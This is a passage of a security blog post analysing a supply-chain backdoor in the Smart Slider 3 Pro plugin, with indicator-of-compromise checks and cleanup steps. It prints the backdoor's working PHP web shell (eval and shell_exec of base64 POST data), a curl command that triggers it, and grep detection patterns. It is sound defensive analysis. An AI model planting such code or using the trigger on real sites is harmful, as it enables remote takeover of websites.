&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; ($k&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; isset&lt;/span&gt;&lt;span&gt;($_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;_chk&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; $_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;_chk&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; ===&lt;/span&gt;&lt;span&gt; $k)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        while&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;ob_end_clean&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;span&gt; {}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        @&lt;/span&gt;&lt;span&gt;error_reporting&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        header&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;Content-Type:text/plain&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        $m&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; isset&lt;/span&gt;&lt;span&gt;($_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt; ?&lt;/span&gt;&lt;span&gt; $_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; :&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;sh&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        $d&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; base64_decode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;($_POST[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt; ?&lt;/span&gt;&lt;span&gt; $_POST[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; :&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$d)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            echo&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;OK&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            die&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        if&lt;/span&gt;&lt;span&gt; ($m&lt;/span&gt;&lt;span&gt; ===&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            ob_start&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            try&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                eval&lt;/span&gt;&lt;span&gt;($d);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            }&lt;/span&gt;&lt;span&gt; catch&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Throwable&lt;/span&gt;&lt;span&gt; $e)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                echo&lt;/span&gt;&lt;span&gt; $e&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getMessage&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            echo&lt;/span&gt;&lt;span&gt; ob_get_clean&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            die&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        $out&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; @&lt;/span&gt;&lt;span&gt;shell_exec&lt;/span&gt;&lt;span&gt;($d&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt; 2&amp;gt;&amp;amp;1&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        echo&lt;/span&gt;&lt;span&gt; $out&lt;/span&gt;&lt;span&gt; !==&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt; ?&lt;/span&gt;&lt;span&gt; $out&lt;/span&gt;&lt;span&gt; :&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;NOSHELL&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        die&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;},&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walk through what it does, line by line:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;add_action(&apos;init&apos;, ..., 0)&lt;/code&gt;&lt;/strong&gt; - registers the backdoor on every page load at the highest priority. Every request to the site, including the public homepage, runs this code before anything else.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$k = get_option(&apos;_wpc_ak&apos;, &apos;&apos;)&lt;/code&gt;&lt;/strong&gt; - reads a secret value from the WordPress options table, stored under the key &lt;code&gt;_wpc_ak&lt;/code&gt;. The malicious installer planted this secret during plugin activation. Joomla’s equivalent uses a parameter or table row.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;isset($_GET[&apos;_chk&apos;]) &amp;amp;&amp;amp; $_GET[&apos;_chk&apos;] === $k&lt;/code&gt;&lt;/strong&gt; - checks if the current request includes a &lt;code&gt;_chk&lt;/code&gt; query parameter that matches the planted secret. This is the authentication: if you know the secret, you are in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;while (@ob_end_clean()) {}&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;@error_reporting(0)&lt;/code&gt;&lt;/strong&gt; - clear all output buffers and silence errors so nothing leaks into the response that would tip off log monitoring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$m = isset($_GET[&apos;m&apos;]) ? $_GET[&apos;m&apos;] : &apos;sh&apos;&lt;/code&gt;&lt;/strong&gt; - reads a mode parameter. &lt;code&gt;sh&lt;/code&gt; runs shell commands, &lt;code&gt;php&lt;/code&gt; evaluates PHP code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$d = base64_decode($_POST[&apos;d&apos;])&lt;/code&gt;&lt;/strong&gt; - reads the payload from POST data, base64-decoded. Base64 keeps the payload out of plaintext intrusion detection signatures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;shell_exec($d . &apos; 2&amp;gt;&amp;amp;1&apos;)&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;eval($d)&lt;/code&gt;&lt;/strong&gt; - executes the decoded payload. Shell mode runs OS commands as the web server user. PHP mode runs arbitrary PHP code, which is even more powerful because it does not require shell access to be enabled.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The backdoor is triggered with a single HTTP request from anywhere on the internet:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -X&lt;/span&gt;&lt;span&gt; POST&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://victim.example.com/?_chk=SECRET&amp;amp;m=sh&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;     --data&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;d=$(&lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;id; uname -a&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; base64&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attacker’s challenge is knowing the secret. Either they know it because they planted it (the compromised installer wrote it during plugin activation), or they have a separate channel to retrieve it from infected sites. Both paths exist in this incident: Nextend’s advisory describes additional persistence files in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt; that likely include exfiltration code to phone home with the secret and the site URL.&lt;/p&gt;
&lt;h3&gt;Why This Is Worse Than a Normal Vulnerability&lt;/h3&gt;
&lt;p&gt;A normal plugin vulnerability is a coding mistake that an attacker can exploit if they find it. A supply-chain compromise is the attacker shipping their own code through the legitimate update channel. Every site that updates is willingly installing the backdoor.&lt;/p&gt;
&lt;p&gt;With CVE-2026-3098 last week, an attacker needed a subscriber account and knowledge of the export AJAX endpoint. With 3.5.1.35, an attacker needs nothing except for the site to have clicked “update”. The plugin runs with full PHP privileges, so the backdoor inherits all of that.&lt;/p&gt;
&lt;p&gt;This also means the usual mental model breaks. Your firewall rules, your nonce checks, your role-based permissions, none of them apply, because the malicious code is running inside your trusted plugin code path. It is the plugin.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise: How to Tell If Your Site Was Infected&lt;/h2&gt;
&lt;p&gt;If your Smart Slider 3 Pro version was at any point 3.5.1.35, run all of these checks before assuming you are clean.&lt;/p&gt;
&lt;h3&gt;1. Hidden Admin Accounts&lt;/h3&gt;
&lt;p&gt;Nextend’s advisory describes the malicious installer creating administrator accounts with usernames starting with &lt;code&gt;wpsvc_&lt;/code&gt; and an email address of &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt;. On Joomla, the same pattern applies.&lt;/p&gt;
&lt;p&gt;WordPress check via WP-CLI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; user&lt;/span&gt;&lt;span&gt; list&lt;/span&gt;&lt;span&gt; --role=administrator&lt;/span&gt;&lt;span&gt; --fields=user_login,user_email&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look for any account starting with &lt;code&gt;wpsvc_&lt;/code&gt; or with the &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt; email. SQL alternative:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; user_login, user_email, user_registered&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; wp_users&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; user_login &lt;/span&gt;&lt;span&gt;LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;wpsvc_%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   OR&lt;/span&gt;&lt;span&gt; user_email &lt;/span&gt;&lt;span&gt;LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%kiziltxt2@gmail.com%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla equivalent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; username, email, registerDate&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; jos_users&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; username &lt;/span&gt;&lt;span&gt;LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;wpsvc_%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   OR&lt;/span&gt;&lt;span&gt; email &lt;/span&gt;&lt;span&gt;LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%kiziltxt2@gmail.com%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;jos_&lt;/code&gt; with your actual table prefix.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; lists every user account across every connected site in one view. Sort by registration date or filter by username pattern to spot &lt;code&gt;wpsvc_*&lt;/code&gt; accounts across hundreds of sites at once, instead of logging into each one.&lt;/p&gt;
&lt;h3&gt;2. Backdoor Files in Cache and Media Directories&lt;/h3&gt;
&lt;p&gt;The advisory specifies &lt;code&gt;cf_check.php&lt;/code&gt; files placed in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt; (Joomla) and equivalent locations on WordPress (&lt;code&gt;wp-content/cache&lt;/code&gt;, &lt;code&gt;wp-content/uploads&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins&lt;/code&gt;). Find them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;cf_check.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -type&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; wp-content/mu-plugins&lt;/span&gt;&lt;span&gt; -type&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -newer&lt;/span&gt;&lt;span&gt; /tmp/reference-timestamp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any unexpected PHP files in cache, media, or upload directories should be considered hostile until proven otherwise. Legitimate files in those directories are extremely rare.&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags exactly this kind of orphan PHP file living outside the normal core/plugin paths. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; catches &lt;code&gt;cf_check.php&lt;/code&gt; and similar known backdoor filenames automatically across every connected site.&lt;/p&gt;
&lt;h3&gt;3. Backdoor Strings in PHP Files&lt;/h3&gt;
&lt;p&gt;Grep for the literal strings the malicious payload uses:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; -rEn&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;_wpc_ak|wpjs1\.com|kiziltxt2@gmail\.com&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  --include=&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; -rEn&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;eval\s*\(\s*base64_decode&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; --include=&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first command catches the option key, the exfiltration domain, and the attacker email. The second catches the most common PHP backdoor pattern, which appears in the malicious code samples Nextend shared.&lt;/p&gt;
&lt;p&gt;Across every connected site, the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching, then &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; explains exactly what each suspicious snippet does so you can triage real threats from false positives without reading every flagged file by hand.&lt;/p&gt;
&lt;h3&gt;4. Recently Modified PHP Files&lt;/h3&gt;
&lt;p&gt;Any PHP file modified between the release of 3.5.1.35 and your update to 3.5.1.36 should be reviewed. If you do not know that window, check anything modified in the last fourteen days:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -mtime&lt;/span&gt;&lt;span&gt; -14&lt;/span&gt;&lt;span&gt; -type&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-reference this list against your normal deployment activity.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; tell you the moment a PHP file changes outside a normal update window, with email notifications. Instead of running &lt;code&gt;find -mtime&lt;/code&gt; after the fact, you would have known the same day the backdoor was planted.&lt;/p&gt;
&lt;h3&gt;5. Theme File Modifications&lt;/h3&gt;
&lt;p&gt;Nextend mentions infected theme files as part of the persistence mechanism. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;mySites.guru file change monitor&lt;/a&gt; catches this automatically by comparing every PHP file’s hash against the previous snapshot. If a theme file changed without a corresponding template update, you have an answer.&lt;/p&gt;
&lt;h3&gt;6. The &lt;code&gt;_wpc_ak&lt;/code&gt; Database Option&lt;/h3&gt;
&lt;p&gt;The most direct indicator: if the &lt;code&gt;_wpc_ak&lt;/code&gt; option exists in your &lt;code&gt;wp_options&lt;/code&gt; table, the backdoor planted its key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;span&gt; FROM&lt;/span&gt;&lt;span&gt; wp_options &lt;/span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; option_name &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;_wpc_ak&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla equivalent depends on where the malicious code stored its key. Check the &lt;code&gt;#__extensions&lt;/code&gt; params, &lt;code&gt;#__assets&lt;/code&gt;, and any plugin-specific tables for entries with names starting with &lt;code&gt;_wpc_&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; walks the database looking for unexpected options, modified core files, and tampered configuration. For Joomla sites specifically, the &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;database security check&lt;/a&gt; verifies privileges and looks for rows planted by malicious code.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is Already Finding the Smart Slider 3 Backdoor on Live Client Sites&lt;/h2&gt;
&lt;p&gt;We are already seeing this backdoor on real connected sites. The screenshot below is from a client site that was running 3.5.1.35 when its scheduled audit ran overnight. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; caught it and flagged the file three hours ago:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_23S0fg.webp&quot; srcset=&quot;https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_CNaqe.webp 640w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_17TwPv.webp 750w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_Z18XAwy.webp 828w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_Z1CQ5q0.webp 1080w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_Z28Lr8L.webp 1280w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_Z2fh81m.webp 1668w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_BcXtW.webp 2048w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_ZOcvc1.webp 2560w, https://mysites.guru/_astro/smart-slider-3-pro-suspect-content-scan.DNWPGegH_23S0fg.webp 2866w&quot; alt=&quot;mySites.guru suspect content scanner output showing wp-content/mu-plugins/object-cache-helper.php flagged as a Hacked File, with five separate Suspect Content Matches highlighted: line 3 reading the _wpc_ak option, line 9 with eval and PHP shell mode, line 10 with shell_exec, line 12 a pre_user_query filter using wpc_uid to hide admin users from listings, line 13 a magic_login backdoor using hash_hmac with AUTH_KEY to forge auth cookies, and line 14 a magic_login_v2 variant that auto-logs in as wpsvc accounts&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2866px) 2866px, 100vw&quot; width=&quot;2866&quot; height=&quot;1626&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;One file. Sixteen lines of PHP. Six separate suspect content matches, each at the exact line number with a label that explains why it is hostile. The scanner catches the indicators we covered above (&lt;code&gt;_wpc_ak&lt;/code&gt;, &lt;code&gt;eval(base64_decode&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;), but it also flags three things Nextend’s advisory does not mention at all:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;code&gt;pre_user_query&lt;/code&gt; filter on line 12 that hides any user whose ID matches the &lt;code&gt;_wpc_uid&lt;/code&gt; option. The attacker’s hidden admin account never shows up in &lt;code&gt;Users &amp;gt; All Users&lt;/code&gt;. If you only check the WordPress user list in wp-admin, you see nothing wrong.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;magic_login&lt;/code&gt; endpoint on line 13 that accepts a &lt;code&gt;_wplogin&lt;/code&gt; query parameter, validates it with an HMAC-SHA256 of the string &lt;code&gt;magic_login&lt;/code&gt; keyed by &lt;code&gt;AUTH_KEY.SECURE_AUTH_KEY&lt;/code&gt;, then forges an auth cookie for the user ID stored in &lt;code&gt;_wpc_uid&lt;/code&gt; and redirects through a base64-decoded URL. The attacker can log in as the hidden admin from any browser, without ever sending a password.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;magic_login_v2&lt;/code&gt; variant on line 14 that does the same thing but skips the option lookup. It runs a SQL query for any existing administrator account whose username starts with &lt;code&gt;wpsvc_&lt;/code&gt;, falls back to a generic &lt;code&gt;%administrator%&lt;/code&gt; match if that fails, and logs in as the first match. This is the attacker’s backup channel in case the &lt;code&gt;_wpc_uid&lt;/code&gt; option gets deleted.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the payload is not just a remote shell. It is a full persistence kit. If your cleanup only removes the &lt;code&gt;_chk&lt;/code&gt; shell handler that the Nextend advisory describes, the attacker still has two working login paths and an invisible admin account waiting for them.&lt;/p&gt;
&lt;h3&gt;How to Run the Scan and Fix Across All Your Sites&lt;/h3&gt;
&lt;p&gt;The suspect content scanner runs as part of every mySites.guru audit. For a single site, open the site in the dashboard and check the Suspect Content section of its audit report. For your whole portfolio, every scheduled audit runs the same scan automatically and any flagged file shows up in the global activity feed.&lt;/p&gt;
&lt;p&gt;Every match in the screenshot has its own action buttons. The red flag marks the file as confirmed hostile and queues it for cleanup. The green flag marks it as a false positive so the scanner stops alerting on it for that site. The purple AI button sends the snippet to the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt;, which writes a plain-English explanation of what the code does. The trash icon deletes the file from the server. The edit icon opens the file inline so you can strip the malicious lines out of a file that also contains legitimate code.&lt;/p&gt;
&lt;p&gt;For the 3.5.1.35 case, &lt;code&gt;object-cache-helper.php&lt;/code&gt; is not a real WordPress core or plugin file. The whole file is malicious. The right action is delete. That cuts off every backdoor in one click. Then update Smart Slider 3 Pro to 3.5.1.36, run the indicator-of-compromise checks above, and look at whatever else the same audit run flagged - the attacker may have dropped more than one file.&lt;/p&gt;
&lt;p&gt;If you manage 50 or 200 client sites, the next scheduled audit answers the question “did any of mine get hit by 3.5.1.35” without you logging into anything.&lt;/p&gt;
&lt;h2&gt;Cleanup: How to Recover an Infected Smart Slider 3 Pro Site&lt;/h2&gt;
&lt;p&gt;Nextend has published an &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;official cleanup zip&lt;/a&gt; that removes the known indicators of compromise. Their cleanup performs the steps below automatically. If you prefer to do it manually, or want to verify the cleanup ran correctly, here is the order.&lt;/p&gt;
&lt;h3&gt;1. Take a Forensic Backup First&lt;/h3&gt;
&lt;p&gt;Before deleting anything, take a full backup of the file system and database. If the site is later determined to have been compromised in a way the cleanup script does not address, you need the original artifacts to investigate. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; handles this in seconds.&lt;/p&gt;
&lt;h3&gt;2. Update to 3.5.1.36 Immediately&lt;/h3&gt;
&lt;p&gt;Through the WordPress plugin updater or Joomla’s extension manager. Verify the version after update.&lt;/p&gt;
&lt;h3&gt;3. Run the Nextend Cleanup Script&lt;/h3&gt;
